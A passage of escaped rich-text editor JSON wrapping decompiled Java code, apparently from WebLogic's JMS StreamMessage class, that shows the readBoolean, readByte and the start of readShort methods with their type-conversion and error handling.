{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MsCO-1677058245131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nf2q-1677058245130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage(), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jawP-1677058245133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFZL-1677058245132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JL59-1677058245135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gayR-1677058245134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WVmq-1677058245137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kj6t-1677058245136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QgQF-1677058245139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ydpM-1677058245138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public boolean readBoolean() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04PG-1677058245141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OHII-1677058245140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e9sk-1677058245143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NfB4-1677058245142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nduc-1677058245145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;03zE-1677058245144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EPMr-1677058245147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wZmJ-1677058245146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eUgP-1677058245149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e2C3-1677058245148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yW8L-1677058245151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E8BT-1677058245150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readBoolean();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aSK8-1677058245153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;My70-1677058245152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4VkH-1677058245155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OQbK-1677058245154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4lbH-1677058245157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wKux-1677058245156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return Boolean.valueOf(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4TcI-1677058245159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDCQ-1677058245158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKZ7-1677058245162&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lElo-1677058245160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eJra-1677058245164&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MmbY-1677058245163&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var2 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;utdK-1677058245166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o4Ns-1677058245165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dnor-1677058245168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3vUw-1677058245167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var2 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ILDx-1677058245170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W1Ff-1677058245169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cEW3-1677058245172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3LEi-1677058245171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gp5t-1677058245174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gQry-1677058245173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(1)) + var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdYF-1677058245176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3mmj-1677058245175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8hbu-1677058245178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rBkQ-1677058245177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ncpr-1677058245180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5ffo-1677058245179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(10), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DrWE-1677058245182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P38I-1677058245181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OR41-1677058245184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pSRh-1677058245183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(10), var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jsUF-1677058245186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aa42-1677058245185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DKjI-1677058245188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HJV6-1677058245187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFAU-1677058245190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4gEm-1677058245189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oy51-1677058245192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;unVL-1677058245191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public byte readByte() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tQyK-1677058245194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VU3y-1677058245193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xz8X-1677058245196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0tzb-1677058245195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG9H-1677058245198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WQbj-1677058245197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tMQV-1677058245200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;InC5-1677058245199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mKwZ-1677058245202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AVL8-1677058245201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dHbp-1677058245204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mRRy-1677058245203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gK9p-1677058245206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jLYs-1677058245205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B5G0-1677058245208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wZG9-1677058245207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c0Au-1677058245210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jy8n-1677058245209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var2 = this.bis.pos();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7wao-1677058245212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n1yD-1677058245211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVDV-1677058245214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hEsi-1677058245213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MvcB-1677058245216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zGla-1677058245215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return Byte.parseByte(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qNKO-1677058245218&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9tGO-1677058245217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (NumberFormatException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SxKN-1677058245220&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BACv-1677058245219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.gotoPos(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4fLQ-1677058245222&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;asDA-1677058245221&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xFIg-1677058245224&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iJl1-1677058245223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hyno-1677058245226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AzUP-1677058245225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q3Dm-1677058245228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ORgD-1677058245227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KblI-1677058245230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ygQZ-1677058245229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ruh7-1677058245233&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kUfo-1677058245231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var3 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8iOS-1677058245235&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUj2-1677058245234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8oz-1677058245237&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SSfe-1677058245236&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var3 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rQ3g-1677058245239&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QLZT-1677058245238&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24Bm-1677058245241&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yRtE-1677058245240&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAuZ-1677058245243&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XTva-1677058245242&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(2)) + var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3YRJ-1677058245245&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7u8b-1677058245244&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AdN1-1677058245247&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8xk5-1677058245246&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nuZA-1677058245249&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bzdy-1677058245248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(20), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iAMv-1677058245251&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aKrL-1677058245250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2H6V-1677058245253&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xaVy-1677058245252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(20), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t8Dq-1677058245255&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bBm8-1677058245254&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1h3B-1677058245257&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJNC-1677058245256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6d8B-1677058245259&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gFhg-1677058245258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;medd-1677058245261&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pasG-1677058245260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public short readShort() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WZYW-1677058245263&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yCN6-1677058245262&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7jch-1677058245265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;53Mv-1677058245264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WQ3Z-1677058245267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gq1g-1677058245266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RLpz-1677058245269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;16Ow-1677058245268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ec6G-1677058245271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Foch-1677058245270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 